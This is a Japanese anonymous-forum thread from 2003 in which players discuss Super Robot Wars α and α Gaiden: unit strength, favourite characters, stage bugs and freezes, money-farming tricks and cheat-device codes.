二ルファってシャアの特殊セリフが少ないんだよ・・・。ハマーンは多いけど。
「大丈夫!ファミ痛の攻略本だよ」が大丈夫だった例がかつて一度でもあったか?
>>173昔は多少はよいできの方 のやつがあったかと・・
発売時期が早いので問題あったりはしたが
駄目なのしかなかった?
175 :
144:03/10/31 11:01 ID:???
>>148,156
一応攻略本は持っているんでよ、で、それを見るかぎり
//上がる
敵にdmgを与える、殺す。
敵の攻撃を完全にATFで防ぐ。
//下がる
敵からdmgを食らう。
敵のATFに攻撃を無効化される。
とか、確かこんな感じで書いてあったと思うんですが、
実際防御選択をして、攻撃を食らわず避けただけでもシンクロ率が落ちているんです。
う〜ん、何故だろ。
蛇足:PS2持ってないんでDC版買ったんですが、ポリゴンはかなり良いですよ。
PS2買わないと他の新作できないのが辛いところですが。
ポリゴンのアストラナガン、グランゾン、ネオグランゾンが好きな俺って・・・。
前にあった攻略本レビューサイト(
>>12)って閉鎖されたの?
ここの評価は個人的に納得いくものだったんだが。
αで資金が大量に手に入る裏技あったよね?
たしかエンジェルルート第58話だったと思うんだけど、どうやるんだっけ?
だれかおせーて♥
ググった方が早いぜあんちゃん
>178
3次以降ならどのシリーズのどのシナリオでも大抵できる有名な技
ザコ敵倒す→経験値と金稼ぐ→全滅
作品によっては味方を倒して経験値や金やパーツ(暴走エヴァを倒したときとか)
が手に入る
αと外伝の曲が入ってる「コンプリートサウンドトラック」なるものを買ったのだが、良いな・・・・。
久々に聞くαの曲が懐かしくてカンドーした。
まぁ、明らかに要らない曲も何曲か入ってるけど。
外伝熟練度取りマンドクセェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ
ェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェェ!!
>>144 シンクロ率の話は分からないけど、
シーブックのバグってのは
「各能力値が低い」って事。
俺も一回なっただけだが、仲間になったステージの後のインターミッションで
シーブックのパラメータ見たら能力値がかなり低くなってた。
そのあとのステージの作戦中にはバグは直ってたけど。
外伝の26話 (グレートが敵に捕まるステージの後半)
の熟練度はイベントを起こさずにダンテを落とさないとダメなんでしょうか?
>180
58話限定だったらタシロに挑発かけるやつの事じゃないか?
あと少しでα外伝クリア(普)。
次はαをやるか第2次をやるか迷い中。
両方とも1話だけやってるんだけど・・・
田代がうーふぇ位に挑発されて怖くなって有り金全部くれるんだよね
>>186 キャラゲーがやりたいのならα
キャラゲー、シミユレーションどっちも微妙な蝙蝠気分を味わいたいなら2次
そう、そのタシロ挑発のやつです。
つーか、ググったら簡単に見つかりますた。
資金MAXまで溜まったので、EVAフル改造してやりました。(零号機、初号機、弐号機、参号機すべて)
俺はあさるとばすたーとまじんかいざーとしんげったーとがんばすたーとちょうでんじとじゃいあんとろぼとびるばいんとだんくーがと
>>191 エヴァはしょっちゅう抜けるので油断は禁物デース
やっと最終話手前まで来た。
終盤−特にソーラレイあたりから戦術がバルキリー頼みになって、
縛り無しと難易度が大差なくなってきた気がする罠。
魂反応弾でほとんどの敵が一撃だし。
ってか、こんな終盤で書くネタなんかねえよヽ(`Д´)ノ
最終話自体は、挑発がトーラスで出られるから、何とかなりそうだな。
この連休で決着をつける。むしろ他のゲームやりたくてうずうずしとるんだよ(w
>>180仲間を倒すとアイテム手に入る事もあるんだ
レアアイテム落とす仲間とか 裏技に近いものってあった?
全滅プレイの為 異常に一部のアイテムが大量にストックされたりとか
>>183バグが自動で治る事もあるんだ 何度か読み込ませたり
クリアする前にセーブを取って
戻る事を期待することも起こるかもね
>>177 まぁ読んで字のごとくだよ
たしかやめるときに、ここかしたらばにも挨拶に来てた
>>184 そう、イベントではなく普通の攻撃で倒さないと上がらない。
7ターン味方フェイズ、又は甲児のHPが30%以下になるとアウト。
熟練度×3が敵の能力値にプラスされる方が面白い
もっと難しくしてほしい。
αなんて簡単すぎて・・・
外伝はちょっと難易度上がったぐらいだし・・・
もっと、「はぁ〜、やっとクリアしたよ。今回はすんげー大変だったな〜」ぐらいに。
冗談じゃねえこれ以上売り上げ落とされてたまるか
キャラゲーでいいんだよスパロボは
200 :
184:03/11/01 10:30 ID:???
とりあえず、超電磁とか獣とか日輪とか超合金とか(゚听)イラネ
宇宙編 1話「激突!地球軍vsジオンvsティターンズvsザンスカールvsザフトvsフロスト兄弟」 2話「ブライト死す」
地上編 1話「未来から来たネコ型ロボット」 2話「ゲッターロボvsマジンガーZ」 3話「ご町内の皆様、毎度お騒がせ致します。」
ファンタジー編 1話「誕生!騎士ガンダム」 2話「オーラロードが開かれた」 3話「俺がアデューだ!」
超合金イラネとまで言うなよ…
外伝の敵ははっきり言ってうざい
>>205 俺は逆にガソダム系をいっぺん廃止してほしい。
ガンダム系のストーリーが基盤じゃないのを見てみたい
もっといらねーな
OGはスーファミの魔装みたく「外伝」と付けるべきだったな
「スーパーロボット大戦外伝 オリジナルジェネレーション」
長いな( ´Д`)
だからリアル系とスーパー系で別の作品作ればいいんですよ
データ引継ぎで2つやると最後に10話ほど真ストーリーが入る。
何阿呆な事考えてんだおれぁ
新じゃねーか
たしかにリアル系とスーパー系で全然別のストーリー&ユニットにして欲しい。
リアルでもスーパーでも結局数話違うだけでほとんど同じだからだめなんだよ。
そこら辺わかってくれバンプレストさん
>>214確かにここまで長く続くと
どうしても重複は更なる足かせになるね
つーか戦争っぽいシミュレーションの時点でリアル系中心なんだよ
スーパー系は一対一のアクションにしろ
そういう意味ではスクコマに期待
あれグラフィックはいいけどスピードもっさりしすぎ
スクコマ前評判悪かったけど 現状ではスパロボファンから
そこそこは評価されているの?
そういうことは売り出してから聞け。
外伝
ハングしやがる
DOMEのとこ何回やってもダメ
敵全滅→ハング
敵少ししか倒さない→ハング
どうすりゃいいのさベイベー
225 :
名無しさん@非公式ガイド:03/11/02 11:01 ID:+rzFmJiI
つまり倒さなければいいということでは。
226 :
225:03/11/02 11:02 ID:???
上げてしまった…吊ってくる。
ついでに、いくらか倒さないと突入できないんだったっけ?(;´Д`)
ラーカイラムがDOMEに近づくとヒュッケとグルンガストが出ますよね?
1回は出してもいいのですが2回出現させるともうだめらしいです。
自分は1回だけその増援を出して全滅さしてもハングしませんでした が、
2回出現させたらハングしたのでたぶんハングする原因はここだと・・・。
12匹以下にしたらアウト
ちゃんとバグチェックしる……
え!12匹以下にしたら止まるんですか!?それで止まったことないなぁ。
>>230 12機以下にして目的地へ着いてからが止まるんだ
232 :
222:03/11/02 15:07 ID:???
無理矢理クリアした
昔やった時は止まらなかったのに
メガブースターつけて3ターンクリアで見事通過できた
thx
アウルゲルミルよりベルゲルミルのほうが
>231
自分は全滅さして目的地に着いても止まらなかったです。
しかし2回目の増援(ヒュッケとグルン)を出して目的地に着くとハング
してしまいます・・・。もしかしてソフトごとに違うのでしょうか?
まぁどうでもいいじゃん
龍虎王は頑丈、虎竜王はすばしっこい、って感じですか?
>>236 虎竜王のが使いやすいってのは秘密だ。
正直龍虎王のメリットって射程が長いくらいだな。
攻撃力も大差ないし。
虎竜王はブリットが乗ってるってイメージがある
ブリットはカツみたいなイメージがある
龍虎王は何気にマップ兵器が使いやすい
はじめてR−1のTーリンクナッコォのアニメ見たけど
リュウセイカコヨスギ
龍虎王&虎龍王はボクサー&ガンナーよりは使い分けしようがある
αリアル系主人公でクリアしたあとスーパー系主人公やってるんですがグルンガストって使いにくいせす・・
さらに改造すると損をするという二重苦
さらにやっと乗り換えとハイな気分になった所で脱力ムービー
>>245 ああ、見たのそっちそっち
リュウセイのカットインがやたら気合入ってた
武器改造が別じゃ使い分けようがないからなぁ
R-1改か
GTリボルヴァーの
通常形態時の撃ちまくり&殴りまくりと、
飛行形態時の1発だけy=ー( ゚д゚)・∵.ターン
の威力が同じだったことに、激しく納得いかなかった記憶があるなあ(w
ていうか飛行形態とかって別にいらんと思うんだがなあ。Zとかも。
移動に使うのがほとんどだったはずだし
ニルファのゼンガー編をやってて思ったこと。
…初代をプレイしてないと、ダイゼンガー登場時の会話が
全然わからない。キザなグラサン男の弟って誰よ。
かといって、今更初代αをプレイするのもツラそうな気がする。
>キザなグラサン男の弟
いわゆるライ。
Zは飛行形態以外めったに使わないんだけど
原作にある忠実な変形の再現と無意味なオリジナルと一緒にされては困る
254 :
名無しさん@非公式ガイド:03/11/03 11:29 ID:qAeC7OdT
>>252 飛行形態だとシールド防御と切り払いができない。
その前に避けるガナー
「移動だけ」ウェイブライダーとかに変形するのでどうよ
>>250 お前、ニルファスレにも同じ事書いてただろ
運動性高いしさ、基地とかの屋根の上にも置けるし
外伝だと攻撃力が決定的に違うからそれなりにMSのまま戦うけど
258 :
250:03/11/03 11:46 ID:???
>>256 ニルファスレのは、このスレのカキコを、誰かが勝手に丸写ししてあっちに
書き込んだんだろ。
250はこっちでしか書いてない文章だから。
IDが出ないから、説明しても無駄だけどさ。
相当ヒマなヤシなんだろうな。
259 :
250:03/11/03 11:50 ID:???
>>256 ニルファスレのは時間的にもコピペしたやつだろ
相当ヒマなんだろうな
260 :
250:03/11/03 11:56 ID:???
つーか分かったから無駄レスやめれ。
262 :
250:03/11/03 12:10 ID:???
263 :
261:03/11/03 12:13 ID:???
>>262 あのさー お前脳みそにウジわいていないか?
そろそろ偽者が出てきそうなのでトリップつけときます
265 :
250:03/11/03 13:10 ID:???
>>264 そこまでするほどの事じゃないだろう(藁
ニルファの話題を振ったのは正直すまん。
266 :
名無しさん@非公式ガイド:03/11/03 13:39 ID:RSFlKlZK
ダメだ・・・どうやっても外伝の最終面がクリアできん・・・
だいたい、メイガス&とりまき3人が強すぎるんだよ。
尋常じゃないHPと装甲持っているうえに、HP回復能力まで備えて、
おまけにド根性まで使用。んなもん勝てるかあああああっ!
おちつけ。どうしてもクリアできなかったら全滅プレイしる。
俺はそこより難易度普通の恐竜帝国軍とスレードゲルミルがとにかく
つらかった・・・。ゴール、ド根性しまくりでなんとか倒し、やっと
終わったーと思ってたらスレードが出てきて・・・
もう精神ポイントねーよどうしようという状況・・・。よく勝てたなと思う。
あ
269 :
wacc2s1.ezweb.ne.jp:03/11/03 14:16 ID:831mxc4v
あ
>>266 全滅プレイでもしてマジンカイザーを鍛えなさい。
>>267 おれは昨日ゴールを倒したとこでセーブして、帰って続きをやるのを楽しみにしてるんだ。(初プレイ)
やはり精神ポイントは残ってないがな。。。
スレードゲルミルのまわりの四匹が面倒くさそうだ
知ってて言ってるのか知らんけど、
αも外伝も全滅プレイはできるけど直前のIMに戻らないから
いくら稼いでも最終面では無意味でしょうが。
メイガスのあと、シュウが出てくるのは 間にIM挟まなかったっけ?
メイガスで最終面っていうんだからハードではないんじゃ?
ハードだとメイガスは最終話じゃないからIM挟むけど。
276 :
236:03/11/03 21:34 ID:???
どうもわかりやすい説明ありがとうございました。
確か経験値は入った筈 全滅プレイ
ラグナロク・・・頼むからマイクロウェーブ送信施設への
侵入を敗北条件に入れないでくれ・・・面倒くさい。
とうとう本日クリア。最終話直前の状況が熟練度79、581ターン。
やはりターン数はかなり食うな。最終話数えるのを忘れてしまったが、+20ターンぐらいだろう。
最終話も前半・中盤はトーラスに乗った挑発が居たからかなり楽。
前半は混合型3機ぐらい残してLVageしたが、中盤など再動が2人いるからあっさり。
ラストはさすがに80%は魂反応弾でも無理だったので、ド根性使い切らせたがね。
ジュデッカもズフィルードも一撃43000位が限度だった。
終盤バルキリーに頼りきりだっただけにこれまで封印すると相当きつくなりそうだな。
龍王機で23000が最高ダメージだが、Zだと13000くらいしかでないのよ。
とりあえず、全体の感想としてはそれほどきつくはなかったな。
と言うかソーラレイあたりでバルキリー2回行動頼みになって、戦術が単調になったからな…。
手応えという面では「バイバイ・マルス」あたりまでがいろいろ頭使っておもしろかったのだが。
最後の方はあまり縛り無しと大差なかったような感じまでする。
自分のモチベーションが最大の敵(wいや、αやってたらニルファがまたやりたくなってな。
あ、こんな縛りの副産物で、バグらしきものを発見したのだが、次レスで報告を。。
で、バグらしきものについて。
結構おこりそうなのでガイシュツかも知れぬが一応報告。
こんな縛りやってると分離ユニット中心のため、味方ユニット数が多くなるわけだが、
どうもオーバーフローを起こしたようだ。
最終話中盤・後半は選択20出撃だが、コンVだの断空我だの分離でユニットが増える連中ばかり
出撃させたら、選択が終わってバシュバシュいいながらユニットを表示していく途中でフリーズ。
ソフトリセットすら効かなくなった。
ユニット数を減らすため、コンVとかを他のに変えたら普通に話が進んだ。
数えてみたら、分離後32(戦艦含)では凍らなかった。
コンVや下駄で入れ替えながら検証したら、分離後34では凍った。
中盤の宇宙怪獣うじゃうじゃのせいかと思ったが、後半でも起きたので、敵ユニットは関係ないと見える。
これまでだらだらと長期の長文、読んでいただき、またはスルーしていただいた住人諸兄に多謝。
以後はまた名無しに戻るよ。
では、これにて失礼。
もうこなくていいよ
外伝だと非人型で攻撃力5000越える武器が
YF21のリミッター解除しかないのだが…
ゴースト落とすのもきつそうだな
最初のレベルのままクリア
外伝は敵が固いからキツそうだな。
スーパー系オンリーで精神コマンド使用不可なんてのはどうかな。
ゴースト出現ステージは どハマりしそうだな。
>>286 スーパー縛り抜きでも精神禁止だけで氏ねると思う。
288 :
271:03/11/04 09:55 ID:???
やったー!昨夜クリアしたYO!
おれは地球を救ったんだ!!!!!!!!!!!
お疲れさん。さぞド根性乱発はきつかったでしょう。
援護持って周りを囲んでる雑魚どもは
DXとV2と∀とZZとゼロカスを一列に並べて
グラビトロンカノンであぼーん
292 :
デュオ:03/11/04 13:04 ID:???
できればど根性と分身を併用するのはやめて欲しかった
無改造プレイでバルキリーが主力とか言ってたな
俺的にネオグランゾンよりウルズ専用の方が強く感じた。
なんであんなに分身するんだ!?ほんとに二分の一か!?
ウルズは死ぬほどウザかった。
つーか、メイガスよりイーグレット3人の方が避ける分イヤらしい。
御大将はアツいから許す。つーかターン制限が逆にそこそこ緊張感に結びついてイイ!
外伝は御大将VSアムロ&シャアの会話が最高ですよ。
アムロが声付きで「ギム=ギンガナム!」っていった時未熟だった俺は何よりもまず
「これいいの?」とか思ってた
それをいったらシャイニング(ry
外電のシャアってシャアだっけ?クワトロ?
ウルズは必中ケチったら倒すのに二時間かかったな
なんであんなにターンAは不遇なの?
月光蝶弱すぎ。
ビームライフルも弱い、せめて強と弱の2パターン欲しかった。
装甲も運動性ももうちょっと強くてもいいじゃないか、一応最強のMSなんだしさ・・・
御大将がよかっただけに悔やまれる。
でもやっぱりターンA好きなヤシ少ないんだろうな・・・・悲しい
月光蝶の何処が弱いんだよ・・・。
確かにEN食い過ぎだが十分強かっただろ、
まぁロランはどうもいまいちだったけどさ・・・。(仕方ないけどね)
∀は充分強かっただろ
只パイロットがイマイチだからニュータイプ組にしないとあまり回避しないし
ガッツDX+ティファが機動力めちゃめちゃだったからちょっとマイナスイメージか
それより光の翼のバカ射程範囲がちみっこくなったのが悲しかったな
∀は移動後の射程が長くて強いから使いやすい
月光蝶はあんま使わんかった
>>302 なんだ、手刀が使えなかったとでも言うのか?
アレだけでもターンA使い続けるに値するぞ。
あの能力設定で弱いとかほざいている奴は、どんな厨設定したら満足するんだ。
イデオン並にしろとでも言うのか?
打ち切りガンダムXの前に少々霞んでいたけど・・・・
ギンガナムイイ
そうか・・・そうなのか・・・
俺の髭愛が足りなかっただけなのか・・・・
よかった・・・よかったよ・・・・
α外伝の話だが
マジンガーZの改造はカイザーに引き継がれるのか?
最近また外伝買ってプレイしたけど
ゼンガー&スレードゲルミル(斬艦刀)
あんなにかっこよかったっけ?
音楽が背景の空とマッチしてる
ベルゲルミルはあってない
ウルズはゲッターの必中付き援護コンボで削れる
アスランの中の人はホモイ
スレードは斬艦刀のときの咆哮カットインがカコイイ!
あれ格ゲーみたいでなんかヤダ
>>317 あそこまでハデにカットインする格ゲーはネェ
αで三枚目ONLYPlayをやってみようとしたけど、即効挫折
ちなみに主人公はカーラでした
>>319 ちなみにどういうメンバーを使う予定だったんだ?
ゼンガー、ニルファで音楽変わったからなぁ・・・ 外伝のころでよかったのに・・・。
使いまわしうぜーorアレンジ糞と言われる罠
ゼンガー、外伝との絡みをもっと期待してたのにー。
濃いイーグレット・フェフとか斬りたかったのにー。
ダイゼンガーとスレードの二択あっても良かったのにー。
どうにも中途半端だよなあ。
オリジナル系はニルファも外伝だったね・・・、
>321 真面目ゼンガーは外伝の音楽にしては狂気が足りない気もする
ゼンガーって?
ゾンボルト
>>320 柿崎、カツ、モンシア、アポリー、ロベルト、ボス、モンド、ジャック、キーン
主人公はカーラ
>>328 ホントにどいつもこいつもパッとしなくてステキだな
再トライキボンヌ
ジャックがアクセントだな。
案外モンシアが使える気がする。
カーラってこんなに人気無かったのか( ´д`)
カツってニュータイプだったよな?
レオナ早熟型なので便利、カーラって誰?と思た
>>335カツ レツ キッカ全員子どもであまり出番が無かった気が
>>328ピーチャは駄目なの?
DC版だと幸運と努力持っているからかなり使えるキャラだけど(スパガン必須要員)
もう少し人数いても良いかも
あくまで記述されたのは参考か?
ゾンボルドとゼンガーが何の略か教えてください。
>>336 ジャブローと、ア・バオア・クー脱出で大活躍ですよ。
ゼンガーゾンボルトって略称なのか?
まぁゼンガーゾンボルトでぐぐれって事だ
ってかそれくらいしろや
ここは「αとα外伝」スレであって、α専用ではない。
自分の知らないことを安易に人に聞くな。釣られても知らんぞ(w
2回行動が復活してもよかったかな
もう2回行動は要らないよ
何発も撃てない覚醒が低リスクで使えるようになっただけで十分
精神コマンド無くすか特殊技能無くすか
ハマーン様は必中を無効化するとかゴールは閃きを無効化するとかで
宇宙怪獣の攻撃力を4000以上にしてガンバスターはダメージ半分で済むとかだめか
スタッフもバランス取りで大変なんだろな
345 :
修羅王:03/11/06 23:13 ID:???
>>344 >必中を無効化、>閃きを無効化
ワシが知ってる、ワシに任せろ!
あぁ覚醒か。でも覚醒てプロしか使わないんだろ
α外伝はスーパー系使わないとかなり厳しい
ところが気に入ってるな、作品によっては
リアルだけで十分だし・・・。
α女性限定プレイやってたのに、俺が寝てる間に友達が借りてった・・・
リアル系ではじめると最初のうちは主人公とレコアさんしか使えない
この頃からだな。W勢の能力が地に墜ちたのは。
64時とのギャップが凄い。
登場してすぐマリーメイア軍に瞬殺されるトールギスV…
Fで初登場?した時は「ゲッタービームがあんまきかねぇ!つええぇぇ!」とか思ったもんだ
仲間になった後のちょっとしたがっかり感もピッコロさんみたいで良かった。強くできるけどさ
W勢は運動性をもっと落としていいから、その代わり装甲とHPあげれ
まともに回避してたの後半のヒイロとゼクスくらいやし
当たるとヤバイ攻撃はしっかりかわすヒイロ萌え
俺のヒイロは命中率6%の攻撃に三回連続で当たる
クズっぷりでしたが
αとα外伝の最終ステージはほぼヒイロだけでクリアしたよ。
外伝はかなり時間かかったなぁ〜 夜11時頃に始めてED見たの明け方だったよ
命中率低いときに連続で当たるのは運が悪いんじゃなくてなんか理由があるって死んだじいちゃんが言ってた
じいちゃんニュータイプだったんだよ、
それか靖国に将来子孫が沢山参拝してくれる香具師だけ
弾に当たりにくいと黒歴史を予め見抜いていたね。
>>358 ラグナロクの何処をどうすればヒイロ1機だけでクリアできるのか。
>361
『「ほぼ」ヒイロだけ』とあるのでヒイロ以外にも多少は使ったのだと思われ。
>361
しかも難ルートとは言ってないな
ぶっちゃけゼータだけでクリアできそう
むしろジムクウェルだけで・・・それは無理か
外伝をもう一回やってみようと思うんだけど、隠し逝くのにターン数制限があるとか聞いたのだけど、どうなんでしょう
昔見たサイトでは一定ターン数以内じゃないとラグナロクにいけないって書いてあったんだけど、最近見たサイトでは書かれてないのです
>>366 ターン数関係ない
熟練度でルートが変るから問題無い
それは別のスパロボのラグナロク。
熟練度があと1足りない!ハードの分岐に行けない!
何か裏技みたいの無い?
よしまかせろPARを使え
PAR厨は(ry
ハードの方がしょぼい機体が手に入るなんておかしい
>372
なぜ?
まぁαならハードに向かう程良い機体が
手に入ったりしたがよく考えたらハードなんだし
難しくするためにも機体はへボくするのが普通だろ。
>>374 難易度を楽しみたいならともかく、
スパロボはあくまで自己満足ゲーだから
難しい課題をクリアした=良い御褒美が貰える
みたいな感じでない?
何気に俺もそう思ってるし・・・。
敵も強くする 味方も強くする これがゲームの基本であるべき
いやな香具師は単に強いやしを封印すればよい
強い敵を見劣りする機体達で倒してくのも醍醐味だとは思うのだが。
難易度が高くなって、キツくなった代わりにクリアボーナスで結構な差がつくしな。
別に最強の機体が手に入る訳でもなしZZはおしいが貰ても
どうせ最後まで使わんだろし
別に能力は大して高くなくても原作で大役務めた機体や未見のすごげな機体が欲しくなるじゃないか
真・ポールとかな。
ハードだと敵が増えてパイロットの成長が増えることだけか
最強のキャラか最強のロボか,か
>>379 スレード・ゲルミル?
アレキサンドリア?
>375
難易度を楽しむのが目的じゃないなら、難しい課題を
クリアせずに強い機体手に入れられるのはいい事じゃないか。
Hi-νってハードで手に入りますけど強いんですか?
もういいグレートフル改造してやる止めたって無駄だからなうわああああ
パイルダーの方ね
388 :
名無しさん@非公式ガイド:03/11/09 23:50 ID:CU9oFZbz
ベスト版にはパイロットの声は入っていないんでしょうか?
>>387 それ気づかない奴多いらしいな
友達が知らないんでアホかと思った
新ユニットが手に入る→ステ画面確認は
みんなしないものなんだろうか?
>>387>>389 ? ジェットパイルダーだかに名称が変更されているって話?
漏れはパイルダーとかその辺だとわざわざ確認せんが
>390 グレートはブレーンコンドルの方が武器改造費安いらしい
α外伝のリメイク版が出たらシステムがニルファ基準になってネオグラのHPが100万に・・・
し、小隊システムか
ネオグラ メカギルギルガン×3 超AI 援護防御4
シュウに援護4、底力
外伝のリメイク出す前に増そう貴信出すだろ
寺田色に染まった魔装だから「魔装貴信」っていう
声の出ない奴を廉価版として安く売ったら良いのか
外伝二周目始めたけどかったりい
インパクト買ってくるか
増そう貴信はいおそらくもうリメイクも続編も出ない。
何かで聞いたが、増そう貴信作った会社(ウインキーソフトだっけ?)とバンプレストがケンカしたから。
バンプレは増そう貴信の版権を持ってるからスパロボとかには出せる。
その証拠に、増そう貴信のプレステ版やアニメ版を思い出してみるが良い。
アニメ版といえば矢井田瞳
増そう貴信といえば外伝の増そう貴信は強いですか?
>>404 結構微妙だとわしは思う。あんま避けないし。
ノルスは修理&精神で大活躍したが。後はザムジードが脱力&地中援護ぐらいか。
ファンの方々フォローよろしく…。
ヴァルシオーネのおっぱいはなかなか感度がよろしい
>>404 増そうヲタ以外は使う価値ないに等しいよ
>>404 愛だ!俺は魔装組は全員スタメンだったぞ
つーかグレートとか強いって言われても使う気が起きん
>>404 使える!ってのはセニアくらい。
戦闘要員じゃなくて修理・精神要員だけどね。
SPの量が結構多め。
ディアブロもいいぞ
援護が長く多く強力だ
魔装の一軍連中は外伝じゃカス
どっちにしろ魔装勢は金掛けてやらんと
全部クズ
特にザムジードとディアブロ
操者全員信頼補正があったら良かったね
( ´,_ゝ`)プッ ディアブロなんて趣味機体だろ
( ´,_ゝ`)プッ スパロボなんてヲタの趣味ゲーだろ
まぁそうムキになるなや( ゚Д゚)y―┛~~
グランベールは途中まで結構使える。
格闘と射撃の値がそこそこ高かった気がする。
でも途中から微妙になってくる。
追記。
あとザムジード。ある程度改造してやって、敵陣に突っ込んでけば
集中砲火→底力発現→ヒットアンドアウェイが成立。
HP小回復もあるので、ザコ相手ならそうそう落ちることは無い。
強化パーツで命中率が上がるのを付けると○。
ザムジードはHP小回復が邪魔なんだよなぁ
俺はヴォルシオーネRがベストだと思うな。
回避系パーツ付けて気合加速集中付きで特攻してもいいし、
熱血ひらめき努力でボスとも戦えるし。
久々にやって思ったことがある・・・
なぜプレシアのスカートがあんなに短いんだ!? ・・・ノ、ノーパン!?
マサキとサイバスターはそれなりの能力だけど武器がちょっと使い辛い。脆い。
他もそこそこ戦えるけどカツみたいな中途半端さがある。
魔装なんて元々眼中にないからカスだろうがどうでもいい〜
ノイエジール強いって本当ですか
ニルファのガトーの特殊セリフの多さには勝てないが・・・
「もはや語るまい・・・」 カッコイイ!
ニルファでもガトーってGP02盗んでるん?
なぜかヤザンが(ry
>425
Aアダプターがないと硬いだけのガラクタ。
初回プレイの時、ノイエジールにポゥをなんとなく乗せてた
外伝の魔装勢
グランヴェ・・・底力発動させて敵陣に突っ込みカロリックスマッシュで暴れまくると結構強い。青雲剣は封印して射撃一択
ノルスレイ・・・Lv35で激励が2回使えるのはイイ
サイバスター・・・サイフラッシュがあんまり強くない。消費30の乱舞の太刀のみの機体
ガッデス・・・激励使える長射程持ち・・・だが激励使いならスパガン、ザブングル、セニアで十分間に合うのであんまりいらない
〜越えられない壁〜
ヴァルシオーネ・・・サイコブラスター空中適応Bってアホかと。クロスマッシャーも威力イマイチ
ザムジード・・・ひらめき無い為うかつにボスクラスに攻撃できない、ガッツあっても宝の持ち腐れ、ミノクラつけなきゃただのダルマ
ディアブロ・・・存在価値がハァハァするのみ
ハロでも使えるのに
なぜファミリアの精神がないのかと
ファミリア=操者の精神の産物だからじゃないの?
精霊の導きによって
EXでは全員飛べたのになぁ・・・逆にサイバスタ地上適正(´・ω・`)
サイフラッシュ射程8の時代が懐かしいねぇw
EXの魔装機神は強かったな、当たり前と
言えば当たり前なんだけど。
ハイファミリアてファンネル等と同じような武器だけど射程に制限が無いのが良い
ディアブロか・・・ 俺はがんがん前線にいって鍛えまくったから
こいつがいなかったらクリアできなかった・・・。というほど
大活躍だったがな・・・。アウルゲルミルの必殺技耐えてたし。
まあ愛でなんとかなるというレベルだったのが良かったね。
サテライトキャノン(マップ兵器版)なら射程に制限が無いが・・・。
ハイ・ファミリアにそんな能力は無かった筈・・・どう言う意味か・・・謎だ。
ニュータイプ補正で射撃伸びたりしない、とかそういう意味では?
つまり、
>>438は特殊能力のことを考えるのがめんどくさいヘタレってだけだと思う
外伝のマジンカイザーは
普通に甲児乗せるのと援護目当てでさやか乗せるのとどっちがいい?
隣接した相手に使えるって事じゃない?
作品によってはファンネルは使えないし。
マジンカイザーが強いので誰が乗っても活躍できる罠。
さやかなんぞ乗せてもちっとも燃えんだろうが、せいぜい鉄也だけ
外伝の成長率に格闘系回避重視とか無いの?
【成長率って…?】
成長率は攻略本にのってる「挌闘系防御重視」や「射撃系回避重視」など
数種類の成長タイプに分別されます。
ロランやリュウセイの「万能系大器晩成」は名前の割には
万能でも大器晩成でもなく、SPが高い以外はめだった特徴はありません。
さやかよりじゅんの方が強そうに見えるけど
P○Rで確かめることができるがなぜ外伝にイングラムのBGMがあるのだろう?
アホ丸出しだな
まぁR-GUN自体使ってないのだろうか
つかわねー
合体できないのに使う必要性が無い。
念動力補正も大した事無いし。
ああ、月ルートで確実に使うことになるはずなんだが…
しかもPAR使わなくても聞けるし…
僕は宇宙は嫌いです。
一度リーオーでアルトロンに撃墜されてからやる気が無くなりました。
すまんイングラムのBGMて2種類あったね。
自分の言っているのはアストラナガンのBGMっす・・・。
ん?外伝でも聞けるの?α売てもたし
P○Rがあれば聞けます。しかしこのコードを使うとすべての
戦闘シーンが同じBGMになってしまいます。
あとレビ(ジュデッカ)とSRXのBGMもあった気がします。
>>456 αの反動でSRX軍団は冷遇されまくっていたからなぁ
寺田の愛はガンダムXへ向けられていたし
>>463 マジっすか…(;´Д`)
お金貯めよう…いちおくえん…
なんかガロードのセリフは妙に他作品によく絡むな
なぜだ
だって餓狼吐だし
我が道を行く
我道 走
あとシャギアも特殊セリフ多いね! VSジュドーまであったなんて。
VSターンAもあるし。でもなぜかVSガロードは無いんだよね・・・。
>>469 シャギアはMSに拘ってるから
ウッソにもあるけど・・「特別な力を持っているようだが。。我々兄弟にはかなうまい」
ウッソにもあるのか・・・まるで主人公だね。
まあ中の人がキョウスケだけど・・・。
逆にオルバはサービス精神が足りないよね・・・
オルバにはガロードをぶつけるといいでしょう。
オルバはジャミル&ガロード意外には興味無しっぽい
レオパルドやエアマスターにも特殊台詞無し。
今更だけどやっぱり最後はガンダムヴァサーゴチェストブレイクとガンダムアシュタロンハーミットクラブは出して欲しかったけどな
もちろんサテライトランチャー付きで。
シャギア「なんて強大な力だ…しかし我々が負けるなんて事はありえん!」
カツ「かわせた!?」
もしチェストブレイクとハーメットクラブが出たら・・・
HP36000、37500ぐらいかな?
宇宙革命軍もまったく出てないからな
ランスロー出せと
ランスローってNTだった気が・・・。
性能は優遇されていたが、シナリオ的には思ったより優遇されてなかったような、X。
むしろ最初は入れる予定が無かったっていう∀のほうがシナリオ再現度が良かったなあ。
あ、撤回。前半はやたら再現度高かったわ。DXに乗るまでは。
そっから後がさっぱりだから、いまいち扱いが悪いと錯覚してただけだな。
エニルのカットインがガロードよりなぜ凝ってるか
乳揺れカットインの布石にしたんだよ。
エニルがいたから乳が揺れるんだ、感謝汁!
まさにカット淫
あれは実は揺れてないらしいよ
だから布石
「私の愛馬は凶暴です。」
「馬の性能だけで勝てると思っている騎手はよい騎手では無い。」
にワラタ。
Rではラカンに「馬は元々臆病な動物と言うぞ。お前達が何時も途中で逃げ帰って来るのはそのせいか。」
とか言われてるし、スパロボでは3枚目の役に決まってしまったのかシャギア。
「482!許さない!」
αやってんだけど、ユニットの移動スピードが遅くて・・・
これ早くできないんですか?
高速化コード…ボソッ…|)彡 サッ
ニルファになれるとやばいぐらい遅く(ry
外伝の動きが妙にぶれて目が痛い
エニルのカットインはセクシーなだけじゃなくて、なかなかカッコイイよね。
男性キャラでもあんな感じやればキマると思う
でもエニルは乳があるからカッコイイので
中にプルが入ってるから萌えるので
αにはカットインでキマってる男性キャラいるけどね。
